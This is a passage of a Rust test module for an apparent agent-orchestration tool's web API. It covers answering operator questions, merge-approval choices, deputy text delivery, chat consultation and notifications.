12123 addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
12124 };
12125 for choice in [
12126 crate::land::HOLD,
12127 crate::land::REPAIR,
12128 crate::land::APPROVE,
12129 crate::merge_decision::WITHDRAW,
12130 "reimplement:beta",
12131 ] {
12132 let mut q = Question::new(
12133 "old-run".into(),
12134 crate::land::APPROVAL_NODE.into(),
12135 "land".into(),
12136 "Decision".into(),
12137 "Review findings".into(),
12138 vec![
12139 "merge".into(),
12140 "hold".into(),
12141 crate::land::REPAIR.into(),
12142 crate::merge_decision::WITHDRAW.into(),
12143 "reimplement:beta".into(),
12144 ],
12145 );
12146 q.merge_target = Some(crate::merge_decision::Target {
12147 pr: "https://github.com/example/repo/pull/42".into(),
12148 head: "exact-reviewed-head".into(),
12149 language: "ja".into(),
12150 });
12151 q.consult = Some(ask::ChatConsult {
12152 talk: "another-conversation".into(),
12153 at: jiff::Timestamp::now(),
12154 });
12155 fx.questions().put(&mut q).unwrap();
12156 let ui = Arc::new(Ui::new(
12157 fx.queue(),
12158 fx.questions(),
12159 fx.talks(),
12160 fx.runs(),
12161 fx.home.path().into(),
12162 std::path::PathBuf::from("."),
12163 ));
12164 let response = question_answer(
12165 State(ui.clone()),
12166 Path(q.id.clone()),
12167 Ok(Json(NewAnswer {
12168 choice: Some(choice.into()),
12169 text: None,
12170 ..Default::default()
12171 })),
12172 )
12173 .await
12174 .unwrap();
12175 assert_eq!(response.0.question.resolution().as_deref(), Some(choice));
12176 let disk = fx.questions().get(&q.id).unwrap();
12177 assert_eq!(disk.merge_target, q.merge_target);
12178 assert_eq!(disk.consult, q.consult);
12179 assert_eq!(disk.resolution().as_deref(), Some(choice));
12180 assert!(
12181 question_answer(
12182 State(ui),
12183 Path(q.id.clone()),
12184 Ok(Json(NewAnswer {
12185 choice: Some("merge".into()),
12186 text: None,
12187 ..Default::default()
12188 }))
12189 )
12190 .await
12191 .is_err(),
12192 "an already settled decision cannot turn into merge approval"
12193 );
12194 }
12195 }
12196
12197 #[tokio::test]
12198 async fn legacy_merge_repair_api_resumes_the_parked_owner_once() {
12199 let fx = Fixture {
12200 home: TempDir::new().unwrap(),
12201 addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
12202 };
12203 let mut state = crate::land::tests::repair_state(true, true);
12204 state.status = RunStatus::Landing;
12205 state.parked = true;
12206 state.driver_exited = true;
12207 let mut task = Task::new(
12208 "Existing PR owner".into(),
12209 state.instruction.clone(),
12210 state.repo.clone(),
12211 Source::Human,
12212 );
12213 task.runs.push(state.id.clone());
12214 task.status = TaskStatus::Parked;
12215 fx.queue().put(&mut task).unwrap();
12216 let mut q = Question::new(
12217 state.id.clone(),
12218 crate::land::APPROVAL_NODE.into(),
12219 "land".into(),
12220 "Contested merge".into(),
12221 "Original evidence".into(),
12222 vec!["merge".into(), "hold".into()],
12223 );
12224 state.land_approval = Some(crate::run::LandApproval {
12225 question: q.id.clone(),
12226 head: "reviewed-head".into(),
12227 });
12228 state.save_under(fx.home.path()).unwrap();
12229 fx.questions().put(&mut q).unwrap();
12230 task.hold_manual(Some("Pause this PR".into()));
12232 fx.queue().put(&mut task).unwrap();
12233 let ui = Arc::new(Ui::new(
12236 fx.queue(),
12237 fx.questions(),
12238 fx.talks(),
12239 fx.runs(),
12240 fx.home.path().to_path_buf(),
12241 state.repo.clone(),
12242 ));
12243 let response = question_answer(
12244 State(ui),
12245 Path(q.id.clone()),
12246 Ok(Json(NewAnswer {
12247 choice: Some(crate::land::REPAIR.into()),
12248 text: None,
12249 ..Default::default()
12250 })),
12251 )
12252 .await
12253 .unwrap();
12254 assert_eq!(response.0.question.id, q.id);
12255 let upgraded = fx.questions().get(&q.id).unwrap();
12256 assert_eq!(upgraded.choices, crate::land::approval_choices(&state));
12257 assert!(upgraded.detail.starts_with("Original evidence"));
12258 let claim = fx.queue().claim(&task.id).unwrap();
12259 crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
12260 assert!(
12261 fx.queue().get(&task.id).unwrap().resume_override.is_none(),
12262 "an existing driver keeps its claim"
12263 );
12264 drop(claim);
12265 crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
12266 let resumed = fx.queue().get(&task.id).unwrap();
12267 assert_eq!(
12268 resumed
12269 .resume_override
12270 .as_ref()
12271 .unwrap()
12272 .pinned_run
12273 .as_deref(),
12274 Some(state.id.as_str())
12275 );
12276 assert!(resumed.status.runnable());
12277 assert_eq!(resumed.instruction, task.instruction);
12278 assert_eq!(resumed.runs, task.runs);
12279 assert!(resumed.action_applied(&q.id));
12280 crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
12281 assert_eq!(fx.queue().list().len(), 1);
12282 assert_eq!(
12283 fx.queue().get(&task.id).unwrap().resume_override,
12284 resumed.resume_override
12285 );
12286 let disk = RunState::load_under(&state.id, fx.home.path()).unwrap();
12287 assert!(
12288 disk.merge_repairs.is_empty(),
12289 "only the claimed run driver may execute repair"
12290 );
12291 assert_eq!(disk.land_approval.unwrap().head, "reviewed-head");
12292 }
12293
12294 #[tokio::test]
12295 async fn answering_records_the_choice_and_a_second_answer_conflicts() {
12296 let fx = Fixture::start().await;
12297 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
12298 let path = format!("/api/questions/{id}/answer");
12299
12300 let res = fx.post(&path, Some(r#"{"choice":"Redis"}"#)).await;
12301 assert_eq!(res.status, 200, "{}", res.body);
12302 let body = res.json();
12303 assert_eq!(body["status"], "answered");
12304 assert_eq!(body["answer"]["choice"], "Redis");
12305
12306 let again = fx.post(&path, Some(r#"{"choice":"SQLite"}"#)).await;
12310 assert_eq!(again.status, 409, "{}", again.body);
12311 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
12312 }
12313
12314 #[tokio::test]
12315 async fn question_text_handler_uses_running_capabilities_and_preserves_text_answers() {
12316 let home = tempfile::tempdir().unwrap();
12317 let ui = delta_test_ui(home.path());
12318 let mut q = Question::new(
12319 "task".into(),
12320 crate::land::APPROVAL_NODE.into(),
12321 "land".into(),
12322 "Explain?".into(),
12323 String::new(),
12324 vec!["hold".into()],
12325 );
12326 q.deputy = Some(ask::Deputy::new("context".into()));
12327 ui.questions.put(&mut q).unwrap();
12328 let mut cfg = stub_config();
12329 cfg.daemon.max_deputies = 0;
12330 let mut status = crate::daemon::Status::new();
12331 status.question_recovery = Some(crate::question_delivery::Recovery::new(Some(&cfg), 0));
12332 crate::daemon::write_status_to(&home.path().join("daemon.json"), &status).unwrap();
12333 let before = std::fs::read(ui.questions.path_of(&q.id)).unwrap();
12334 let error = question_say(
12335 State(ui.clone()),
12336 Path(q.id.clone()),
12337 Ok(Json(NewSay {
12338 body: "Explain the findings".into(),
12339 })),
12340 )
12341 .await
12342 .unwrap_err();
12343 assert_eq!(
12344 error.text_reason,
12345 Some(crate::question_delivery::UnavailableReason::DeputyDisabled)
12346 );
12347 assert_eq!(std::fs::read(ui.questions.path_of(&q.id)).unwrap(), before);
12348
12349 let mut text = Question::new(
12350 "task".into(),
12351 "ask".into(),
12352 "operator".into(),
12353 "Which name?".into(),
12354 String::new(),
12355 vec![],
12356 );
12357 ui.questions.put(&mut text).unwrap();
12358 let Json(view) = question_answer(
12359 State(ui.clone()),
12360 Path(text.id.clone()),
12361 Ok(Json(NewAnswer {
12362 choice: None,
12363 text: Some("chosen name".into()),
12364 ..Default::default()
12365 })),
12366 )
12367 .await
12368 .unwrap();
12369 assert_eq!(view.question.resolution().as_deref(), Some("chosen name"));
12370 assert!(!ui.questions.get(&text.id).unwrap().status.open());
12371 }
12372
12373 #[tokio::test]
12374 async fn question_text_handler_admission_without_transport() {
12375 let home = tempfile::tempdir().unwrap();
12376 let ui = delta_test_ui(home.path());
12377 let mut q = Question::new(
12378 "task".into(),
12379 crate::land::APPROVAL_NODE.into(),
12380 "land".into(),
12381 "May this PR merge?".into(),
12382 String::new(),
12383 vec!["hold".into()],
12384 );
12385 q.deputy = Some(ask::Deputy::new("reviewed head".into()));
12386 q.deputy.as_mut().unwrap().starts = crate::deputy::MAX_STARTS;
12387 ui.questions.put(&mut q).unwrap();
12388 let say = || {
12389 Ok(Json(NewSay {
12390 body: "Explain the findings".into(),
12391 }))
12392 };
12393 let rejected = question_say(State(ui.clone()), Path(q.id.clone()), say())
12394 .await
12395 .unwrap_err();
12396 assert_eq!(rejected.status, StatusCode::UNPROCESSABLE_ENTITY);
12397 let response = rejected.into_response();
12398 let body = axum::body::to_bytes(response.into_body(), usize::MAX)
12399 .await
12400 .unwrap();
12401 let body: serde_json::Value = serde_json::from_slice(&body).unwrap();
12402 assert_eq!(body["code"], "question_text_unavailable");
12403 assert_eq!(body["reason"], "deputy_exhausted");
12404 assert!(body["error"].as_str().unwrap().contains("deputy_exhausted"));
12405 assert!(ui.questions.get(&q.id).unwrap().thread.is_empty());
12406 ui.questions.beat(&q.id, ask::WaiterKind::Deputy);
12407 let Json(view) = question_say(State(ui.clone()), Path(q.id.clone()), say())
12408 .await
12409 .unwrap();
12410 assert_eq!(view.text_delivery.state, "live");
12411 assert!(view.question.waiter.is_none());
12412 assert!(view.question.cwd.is_none());
12413 let before = std::fs::read(ui.questions.path_of(&q.id)).unwrap();
12414 ui.questions.drop_lease(&q.id);
12415 let rejected = question_say(State(ui.clone()), Path(q.id.clone()), say())
12416 .await
12417 .unwrap_err();
12418 assert_eq!(rejected.status, StatusCode::UNPROCESSABLE_ENTITY);
12419 assert_eq!(std::fs::read(ui.questions.path_of(&q.id)).unwrap(), before);
12420 let _ = question_answer(
12421 State(ui.clone()),
12422 Path(q.id.clone()),
12423 Ok(Json(NewAnswer {
12424 choice: Some("hold".into()),
12425 text: None,
12426 ..Default::default()
12427 })),
12428 )
12429 .await
12430 .unwrap();
12431 assert_eq!(
12432 ui.questions.get(&q.id).unwrap().resolution().as_deref(),
12433 Some("hold")
12434 );
12435 }
12436
12437 #[tokio::test]
12438 async fn question_text_delivery_rechecks_after_render_and_keeps_choices_usable() {
12439 let fx = Fixture::start().await;
12440 let store = fx.questions();
12441 let id = ask(&fx, "May this PR merge?", &["merge", "hold"]);
12442 store
12443 .update(&id, |q| {
12444 q.node = crate::land::APPROVAL_NODE.to_owned();
12445 q.deputy = Some(ask::Deputy::new("approval".to_owned()));
12446 q.deputy.as_mut().unwrap().starts = crate::deputy::MAX_STARTS;
12447 Ok(())
12448 })
12449 .unwrap();
12450 let path = format!("/api/questions/{id}/say");
12451 let refused = fx.post(&path, Some(r#"{"body":"close the PR"}"#)).await;
12452 assert_eq!(refused.status, 422, "{}", refused.body);
12453 assert!(
12454 refused.json()["error"]
12455 .as_str()
12456 .unwrap()
12457 .contains("deputy_exhausted")
12458 );
12459 assert!(store.get(&id).unwrap().thread.is_empty());
12460
12461 store.beat(&id, ask::WaiterKind::Deputy);
12463 let view = fx.get("/api/questions").await.json();
12464 assert_eq!(view[0]["text_delivery"]["state"], "live");
12465 let accepted = fx
12466 .post(&path, Some(r#"{"body":"explain the findings"}"#))
12467 .await;
12468 assert_eq!(accepted.status, 200, "{}", accepted.body);
12469 let before = std::fs::read(store.path_of(&id)).unwrap();
12470
12471 store.drop_lease(&id);
12474 let refused = fx.post(&path, Some(r#"{"body":"close the PR"}"#)).await;
12475 assert_eq!(refused.status, 422, "{}", refused.body);
12476 assert_eq!(std::fs::read(store.path_of(&id)).unwrap(), before);
12477 let held = fx
12478 .post(
12479 &format!("/api/questions/{id}/answer"),
12480 Some(r#"{"choice":"hold"}"#),
12481 )
12482 .await;
12483 assert_eq!(held.status, 200, "{}", held.body);
12484 assert_eq!(store.get(&id).unwrap().thread.len(), 1);
12485 }
12486
12487 #[tokio::test]
12488 async fn question_text_delivery_uses_daemon_configuration_after_file_edit() {
12489 let repo = tempfile::tempdir().unwrap();
12490 let mut cfg = stub_config();
12491 cfg.daemon.max_deputies = 0;
12492 std::fs::write(
12493 repo.path().join("magi.toml"),
12494 toml::to_string(&cfg).unwrap(),
12495 )
12496 .unwrap();
12497 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
12498 let mut status = crate::daemon::Status::new();
12499 status.question_recovery = Some(crate::question_delivery::Recovery::new(Some(&cfg), 0));
12500 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &status).unwrap();
12501 let id = ask(&fx, "Explain?", &["hold"]);
12502 fx.questions()
12503 .update(&id, |q| {
12504 q.node = crate::land::APPROVAL_NODE.into();
12505 q.deputy = Some(ask::Deputy::new("context".into()));
12506 q.deputy.as_mut().unwrap().agent = "stub".into();
12507 Ok(())
12508 })
12509 .unwrap();
12510 cfg.daemon.max_deputies = 1;
12511 std::fs::write(
12512 repo.path().join("magi.toml"),
12513 toml::to_string(&cfg).unwrap(),
12514 )
12515 .unwrap();
12516 let view = fx.get("/api/questions").await.json();
12517 assert_eq!(view[0]["deputies_enabled"], true);
12518 assert_eq!(view[0]["text_delivery"]["reason"], "deputy_disabled");
12519 let before = std::fs::read(fx.questions().path_of(&id)).unwrap();
12520 let res = fx
12521 .post(
12522 &format!("/api/questions/{id}/say"),
12523 Some(r#"{"body":"Please explain"}"#),
12524 )
12525 .await;
12526 assert_eq!(res.status, 422, "{}", res.body);
12527 assert_eq!(std::fs::read(fx.questions().path_of(&id)).unwrap(), before);
12528 }
12529
12530 #[tokio::test]
12531 async fn question_text_delivery_preserves_text_decisions_without_a_recipient() {
12532 let fx = Fixture::start().await;
12533 let id = ask(&fx, "No seat", &[]);
12534 let store = fx.questions();
12535 let before = std::fs::read(store.path_of(&id)).unwrap();
12536 let res = fx
12537 .post(
12538 &format!("/api/questions/{id}/say"),
12539 Some(r#"{"body":"hello"}"#),
12540 )
12541 .await;
12542 assert_eq!(res.status, 422, "{}", res.body);
12543 assert_eq!(std::fs::read(store.path_of(&id)).unwrap(), before);
12544 let res = fx
12545 .post(
12546 &format!("/api/questions/{id}/answer"),
12547 Some(r#"{"text":"hello"}"#),
12548 )
12549 .await;
12550 assert_eq!(res.status, 200, "{}", res.body);
12551 assert_eq!(
12552 store.get(&id).unwrap().resolution().as_deref(),
12553 Some("hello")
12554 );
12555 }
12556
12557 #[tokio::test]
12558 async fn saying_something_appends_a_turn_without_answering() {
12559 let fx = Fixture::start().await;
12560 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
12561 fx.questions().beat(&id, ask::WaiterKind::Asker);
12562 let path = format!("/api/questions/{id}/say");
12563
12564 let res = fx
12565 .post(&path, Some(r#"{"body":"why not Postgres?"}"#))
12566 .await;
12567 assert_eq!(res.status, 200, "{}", res.body);
12568 let body = res.json();
12569 assert_eq!(body["status"], "open", "talking back is not a decision");
12570 assert_eq!(body["answer"], Value::Null);
12571 assert_eq!(body["thread"][0]["who"], "operator");
12572 assert_eq!(body["thread"][0]["body"], "why not Postgres?");
12573 assert_eq!(body["waiting_on_agent"], true);
12574 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
12576 }
12577
12578 #[tokio::test]
12579 async fn consulting_a_question_with_no_chat_is_refused_and_it_stays_open() {
12580 let fx = Fixture::start().await;
12581 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
12582
12583 let list = fx.get("/api/questions").await.json();
12584 assert_eq!(list[0]["origin_chat"], Value::Null, "{list}");
12585
12586 let res = fx.post(&format!("/api/questions/{id}/consult"), None).await;
12587 assert_eq!(res.status, 409, "{}", res.body);
12588 let q = fx.questions().get(&id).unwrap();
12589 assert!(q.status.open());
12590 assert!(q.consult.is_none());
12591 }
12592
12593 #[tokio::test]
12594 async fn a_question_from_a_chat_task_names_its_chat_in_the_view() {
12595 let fx = Fixture::start().await;
12596 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
12597 let cfg = Config {
12598 agents: vec![crate::config::AgentSpec {
12599 id: "mock".to_owned(),
12600 kind: crate::config::AgentKind::Command,
12601 model: None,
12602 command: vec!["true".to_owned()],
12603 extra_args: Vec::new(),
12604 env: Default::default(),
12605 prompt_delivery: None,
12606 max_turn_secs: None,
12607 }],
12608 ..Config::default()
12609 };
12610 let talk = crate::talk::begin(
12611 &fx.talks(),
12612 &cfg,
12613 fx.home.path().to_path_buf(),
12614 Some("mock"),
12615 )
12616 .unwrap();
12617 let mut task = Task::new(
12618 "t".to_owned(),
12619 "Do it".to_owned(),
12620 PathBuf::from("/repo/magi"),
12621 Source::Agent {
12622 run: talk.id.clone(),
12623 node: crate::queue::CHAT_NODE.to_owned(),
12624 },
12625 );
12626 task.start("20260902-000000-beef".to_owned());
12627 fx.queue().put(&mut task).unwrap();
12628
12629 let list = fx.get("/api/questions").await.json();
12630 assert_eq!(list[0]["origin_chat"], talk.id.as_str(), "{list}");
12631 assert_eq!(
12632 list[0]["choices"],
12633 serde_json::json!(["SQLite", "Redis"]),
12634 "the hand-over is never a choice"
12635 );
12636 fx.questions()
12637 .update(&id, |q| {
12638 q.node = crate::land::APPROVAL_NODE.into();
12639 q.choices = vec!["merge".into(), "hold".into()];
12640 Ok(())
12641 })
12642 .unwrap();
12643 let list = fx.get("/api/questions").await.json();
12644 assert_eq!(list[0]["origin_chat"], talk.id.as_str(), "{list}");
12645 assert_eq!(list[0]["can_consult_chat"], true);
12646 fx.questions()
12647 .update(&id, |q| {
12648 q.node = crate::bump::NOTICE_NODE.into();
12649 Ok(())
12650 })
12651 .unwrap();
12652 let list = fx.get("/api/questions").await.json();
12653 assert_eq!(list[0]["origin_chat"], talk.id.as_str());
12654 assert_eq!(list[0]["can_consult_chat"], false);
12655 }
12656
12657 #[tokio::test]
12658 async fn a_consult_that_cannot_read_its_config_leaves_nothing_to_retry_around() {
12659 let fx = Fixture::start().await;
12660 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
12661 fx.questions()
12662 .update(&id, |q| {
12663 q.node = crate::land::APPROVAL_NODE.into();
12664 q.choices = vec!["merge".into(), "hold".into()];
12665 Ok(())
12666 })
12667 .unwrap();
12668 let cfg = Config {
12669 agents: vec![crate::config::AgentSpec {
12670 id: "mock".to_owned(),
12671 kind: crate::config::AgentKind::Command,
12672 model: None,
12673 command: vec!["true".to_owned()],
12674 extra_args: Vec::new(),
12675 env: Default::default(),
12676 prompt_delivery: None,
12677 max_turn_secs: None,
12678 }],
12679 ..Config::default()
12680 };
12681 let repo = fx.home.path().join("chat-repo");
12683 std::fs::create_dir_all(&repo).unwrap();
12684 let toml = repo.join("magi.toml");
12685 std::fs::write(&toml, "this is = = not toml").unwrap();
12686 let talk = crate::talk::begin(&fx.talks(), &cfg, repo.clone(), Some("mock")).unwrap();
12687 let mut task = Task::new(
12688 "t".to_owned(),
12689 "Do it".to_owned(),
12690 PathBuf::from("/repo/magi"),
12691 Source::Agent {
12692 run: talk.id.clone(),
12693 node: crate::queue::CHAT_NODE.to_owned(),
12694 },
12695 );
12696 task.start("20260902-000000-beef".to_owned());
12697 fx.queue().put(&mut task).unwrap();
12698
12699 let path = format!("/api/questions/{id}/consult");
12700 let res = fx.post(&path, None).await;
12701 assert!(res.status >= 400, "{}", res.body);
12702 assert!(fx.questions().get(&id).unwrap().consult.is_none());
12703 assert!(fx.talks().get(&talk.id).unwrap().pending.is_empty());
12704
12705 std::fs::write(&toml, "").unwrap();
12706 let res = fx.post(&path, None).await;
12707 assert_eq!(res.status, 202, "{}", res.body);
12708 assert!(fx.questions().get(&id).unwrap().consult.is_some());
12709 let q = fx.questions().get(&id).unwrap();
12710 assert!(q.status.open());
12711 assert!(q.answer.is_none());
12712 assert_eq!(res.json()["origin_chat"], talk.id.as_str());
12713 assert_eq!(res.json()["can_consult_chat"], true);
12714 let list = fx.get("/api/questions").await.json();
12715 assert_eq!(list[0]["origin_chat"], talk.id.as_str());
12716 assert_eq!(list[0]["consult"]["talk"], talk.id.as_str());
12717
12718 let res = fx
12719 .post(
12720 &format!("/api/questions/{id}/answer"),
12721 Some(r#"{"choice":"hold"}"#),
12722 )
12723 .await;
12724 assert_eq!(res.status, 200, "{}", res.body);
12725 assert_eq!(res.json()["answer"]["choice"], "hold");
12726 assert_eq!(res.json()["origin_chat"], talk.id.as_str());
12727 assert_eq!(res.json()["can_consult_chat"], false);
12728 assert_eq!(fx.post(&path, None).await.status, 409);
12729
12730 let mut talk = fx.talks().get(&talk.id).unwrap();
12731 crate::talk::close(&mut talk, &fx.talks()).unwrap();
12732 let list = fx.get("/api/questions").await.json();
12733 assert_eq!(list[0]["origin_chat"], talk.id.as_str());
12734 assert_eq!(list[0]["origin_chat_closed"], true);
12735 assert_eq!(list[0]["can_consult_chat"], false);
12736
12737 fx.talks().remove(&talk.id).unwrap();
12738 let list = fx.get("/api/questions").await.json();
12739 assert_eq!(list[0]["origin_chat"], Value::Null);
12740 assert_eq!(list[0]["origin_chat_closed"], false);
12741 assert_eq!(list[0]["can_consult_chat"], false);
12742 }
12743
12744 #[tokio::test]
12745 async fn asking_back_clears_the_owner_count_until_the_agent_replies() {
12746 let fx = Fixture::start().await;
12747 let store = fx.questions();
12748 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
12749 store.beat(&id, ask::WaiterKind::Asker);
12750 assert_eq!(
12751 fx.get("/api/health").await.json()["questions_needs_owner"],
12752 1
12753 );
12754
12755 let res = fx
12761 .post(
12762 &format!("/api/questions/{id}/say"),
12763 Some(r#"{"body":"why not Postgres?"}"#),
12764 )
12765 .await;
12766 assert_eq!(res.status, 200, "{}", res.body);
12767 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
12768 assert_eq!(
12769 fx.get("/api/health").await.json()["questions_needs_owner"],
12770 0,
12771 "waiting on the agent is not waiting on the owner"
12772 );
12773
12774 let mut q = store.get(&id).expect("get");
12778 q.reply("because SQLite needs no server", vec!["SQLite".to_owned()])
12779 .expect("reply");
12780 store.put(&mut q).expect("put");
12781 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
12782 assert_eq!(
12783 fx.get("/api/health").await.json()["questions_needs_owner"],
12784 1,
12785 "the agent's reply is what should light the banner back up"
12786 );
12787 }
12788
12789 #[tokio::test]
12790 async fn saying_something_is_refused_when_empty_answered_or_abandoned() {
12791 let fx = Fixture::start().await;
12792 let store = fx.questions();
12793
12794 let empty_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
12795 let res = fx
12796 .post(
12797 &format!("/api/questions/{empty_id}/say"),
12798 Some(r#"{"body":" "}"#),
12799 )
12800 .await;
12801 assert_eq!(res.status, 400, "{}", res.body);
12802
12803 let answered_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
12804 let mut answered = store.get(&answered_id).expect("get");
12805 answered
12806 .answer(Answer::Choice("SQLite".to_owned()))
12807 .expect("answer");
12808 store.put(&mut answered).expect("put");
12809 let res = fx
12810 .post(
12811 &format!("/api/questions/{answered_id}/say"),
12812 Some(r#"{"body":"still there?"}"#),
12813 )
12814 .await;
12815 assert_eq!(res.status, 409, "{}", res.body);
12816
12817 let abandoned_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
12818 let mut abandoned = store.get(&abandoned_id).expect("get");
12819 abandoned.abandon("timed out");
12820 store.put(&mut abandoned).expect("put");
12821 let res = fx
12822 .post(
12823 &format!("/api/questions/{abandoned_id}/say"),
12824 Some(r#"{"body":"still there?"}"#),
12825 )
12826 .await;
12827 assert_eq!(res.status, 409, "{}", res.body);
12828 }
12829
12830 #[tokio::test]
12831 async fn an_answer_the_question_does_not_offer_is_refused() {
12832 let fx = Fixture::start().await;
12833 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
12834 let path = format!("/api/questions/{id}/answer");
12835
12836 for body in [
12837 r#"{"choice":"Postgres"}"#,
12838 r#"{"text":"whatever you think"}"#,
12839 r#"{"choice":"Redis","text":"both"}"#,
12840 r#"{}"#,
12841 ] {
12842 let res = fx.post(&path, Some(body)).await;
12843 assert_eq!(res.status, 400, "{body} should be refused: {}", res.body);
12844 assert!(res.json()["error"].is_string(), "{}", res.body);
12845 }
12846 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
12848 }
12849
12850 #[tokio::test]
12851 async fn a_free_text_question_takes_text_and_not_a_choice() {
12852 let fx = Fixture::start().await;
12853 let id = ask(&fx, "What should the flag be called?", &[]);
12854 fx.questions().beat(&id, ask::WaiterKind::Asker);
12855 let path = format!("/api/questions/{id}/answer");
12856
12857 assert_eq!(
12858 fx.post(&path, Some(r#"{"choice":"--json"}"#)).await.status,
12859 400
12860 );
12861 let res = fx.post(&path, Some(r#"{"text":"--json"}"#)).await;
12862 assert_eq!(res.status, 200, "{}", res.body);
12863 assert_eq!(res.json()["answer"]["text"], "--json");
12864 }
12865
12866 #[tokio::test]
12867 async fn an_unknown_question_is_a_json_404() {
12868 let fx = Fixture::start().await;
12869 let res = fx
12870 .post("/api/questions/nope/answer", Some(r#"{"text":"x"}"#))
12871 .await;
12872 assert_eq!(res.status, 404, "{}", res.body);
12873 assert!(res.json()["error"].is_string());
12874 }
12875
12876 #[tokio::test]
12877 async fn notifications_resolve_live_questions_without_changing_saved_notices() {
12878 let fx = Fixture::start().await;
12879 let questions = Questions::at(fx.home.path().join("questions"));
12880 let store = Notices::at(fx.home.path().join("notifications"));
12881 let mut q = ask::Question::new(
12882 "t1".into(),
12883 "conduct".into(),
12884 "conductor".into(),
12885 "Continue?".into(),
12886 String::new(),
12887 Vec::new(),
12888 );
12889 questions.put(&mut q).unwrap();
12890 let mut n = Notice::warn("task:t1", "Task t1 is held.");
12891 n.covered_by = Some(q.id.clone());
12892 let n = store.raise(n).unwrap();
12893 let listed = fx.get("/api/notifications").await.json();
12894 assert_eq!(listed["items"][0]["answerable_question"], q.id);
12895 questions
12896 .update(&q.id, |q| {
12897 q.abandon("run gone");
12898 Ok(())
12899 })
12900 .unwrap();
12901 let listed = fx.get("/api/notifications").await.json();
12902 assert!(listed["items"][0]["answerable_question"].is_null());
12903 assert_eq!(store.get(&n.id).unwrap().covered_by, Some(q.id));
12904 assert!(
12905 !std::fs::read_to_string(store.root().join(format!("{}.json", n.id)))
12906 .unwrap()
12907 .contains("answerable_question")
12908 );
12909 }
12910
12911 #[tokio::test]
12912 async fn notifications_list_read_dismiss_and_health_agree() {
12913 let fx = Fixture::start().await;
12914 let store = Notices::at(fx.home.path().join("notifications"));
12915 assert_eq!(fx.get("/api/notifications").await.json()["unread"], 0);
12916 let rev0 = fx.get("/api/health").await.json()["notifications_rev"].clone();
12917
12918 let a = store.raise(Notice::warn("task:1", "held")).unwrap();
12919 let b = store.raise(Notice::error("run:2", "blocked")).unwrap();
12920
12921 store
12922 .raise(Notice::warn("deputy:deleted-question", "obsolete warning"))
12923 .unwrap();
12924 let health = fx.get("/api/health").await.json();
12925 assert_eq!(health["notifications_unread"], 2);
12926 assert_ne!(
12927 health["notifications_rev"], rev0,
12928 "the badge must move live"
12929 );
12930
12931 let listed = fx.get("/api/notifications").await.json();
12932 assert_eq!(listed["unread"], 2);
12933 assert_eq!(listed["items"].as_array().unwrap().len(), 2);
12934 assert_eq!(listed["items"][0]["severity"], "error", "newest first");
12935
12936 let read = fx
12937 .post(&format!("/api/notifications/{}/read", a.id), None)
12938 .await;
12939 assert_eq!(read.status, 200, "{}", read.body);
12940 assert_eq!(fx.get("/api/notifications").await.json()["unread"], 1);
12941
12942 let gone = fx
12943 .post(&format!("/api/notifications/{}/dismiss", b.id), None)
12944 .await;
12945 assert_eq!(gone.status, 200, "{}", gone.body);
12946 let listed = fx.get("/api/notifications").await.json();
12947 assert_eq!(listed["items"].as_array().unwrap().len(), 1);
12948 assert_eq!(listed["unread"], 0);
12949
12950 store.raise(Notice::info("x", "again")).unwrap();
12951 let all = fx.post("/api/notifications/read-all", None).await;
12952 assert_eq!(all.status, 200, "{}", all.body);
12953 assert_eq!(all.json()["marked"], 1);
12954 assert_eq!(
12955 fx.get("/api/health").await.json()["notifications_unread"],
12956 0
12957 );
12958
12959 let missing = fx.post("/api/notifications/nope/read", None).await;
12960 assert_eq!(missing.status, 404, "{}", missing.body);
12961 assert!(missing.json()["error"].is_string());
12962 }
12963
12964 #[tokio::test]
12971 async fn a_task_cannot_be_filed_over_the_phone_directly() {
12972 let f = Fixture::start().await;
12973
12974 let res = f
12975 .post(
12976 "/api/queue",
12977 Some(r#"{"instruction":"Add a --json flag to magi list"}"#),
12978 )
12979 .await;
12980
12981 assert_eq!(
12982 res.status, 405,
12983 "POST /api/queue must not be a route: {}",
12984 res.body
12985 );
12986 assert!(
12987 f.queue().list().is_empty(),
12988 "a task filed by a route that does not exist must not reach the disk"
12989 );
12990 assert_eq!(f.get("/api/queue").await.status, 200);
12993 }
12994
12995 fn make_checkout(root: &FsPath, host: &str, owner: &str, repo: &str) {
12997 std::fs::create_dir_all(root.join(host).join(owner).join(repo).join(".git"))
12998 .expect("checkout dir");
12999 }
13000
13001 const SETTINGS_AGENTS: &str = "[[agents]]\nid = \"a\"\nkind = \"command\"\ncommand = [\"true\"]\n\n[[agents]]\nid = \"b\"\nkind = \"command\"\ncommand = [\"true\"]\n";
13003
13004 fn settings_dirs(repo_toml: &str, machine_toml: Option<&str>) -> (TempDir, PathBuf, PathBuf) {
13005 let tmp = TempDir::new().expect("tempdir");
13006 let repo = tmp.path().join("repo");
13007 std::fs::create_dir_all(&repo).expect("repo dir");
13008 std::fs::write(repo.join("magi.toml"), repo_toml).expect("repo toml");
13009 let machine = tmp.path().join("cfg").join("magi").join("config.toml");
13010 if let Some(text) = machine_toml {
13011 std::fs::create_dir_all(machine.parent().expect("parent")).expect("cfg dir");
13012 std::fs::write(&machine, text).expect("machine toml");
13013 }
13014 (tmp, repo, machine)
13015 }
13016
13017 async fn settings_checkout(path: &FsPath, text: &str) {
13018 std::fs::create_dir_all(path).unwrap();
